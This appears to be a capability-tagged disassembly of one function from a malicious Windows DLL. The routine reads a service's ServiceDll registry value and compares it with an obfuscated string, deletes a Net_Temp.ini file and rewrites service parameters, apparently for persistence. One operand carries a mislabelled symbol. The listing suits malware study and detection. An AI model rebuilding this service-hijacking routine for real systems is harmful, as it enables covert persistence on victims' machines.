Function at 0x1000cd20
Capabilities:
Delete file
Get common file path
Query or enumerate registry value

Disassembly:
sub esp, 0x46c
push ebx
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x180]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
xor eax, eax
lea edi, [esp + 0x1a3]
lea edx, [esp + 0x180]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10017b58
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
push 0xf003f
lea ecx, [esp + 0x188]
push ebx
push ecx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x375]
mov byte [esp + 0x374], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x374]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x374]
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push ecx
push ebx
push str.ServiceDll
push edx
mov dword [esp + 0x24], 2
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x374]
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000cf6b
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
lea ecx, [esp + 0x80]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x83], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x80]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x80]
lea edx, [esp + 0x184]
push ecx
push edx
call fcn.1000c5f0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x20]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.1000c650
add esp, 0x14
lea eax, [esp + 0x80]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x2b1]
mov byte [esp + 0x2b0], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2b0]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
lea eax, [esp + 0x2c0]
push eax
call fcn.1000c6d0
lea ecx, [esp + 0x94]
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.1000c5f0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x1a0]
push eax
push ecx
call fcn.1000c650
add esp, 0x24
lea edx, [esp + 0x80]
push edx
call esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x46c
ret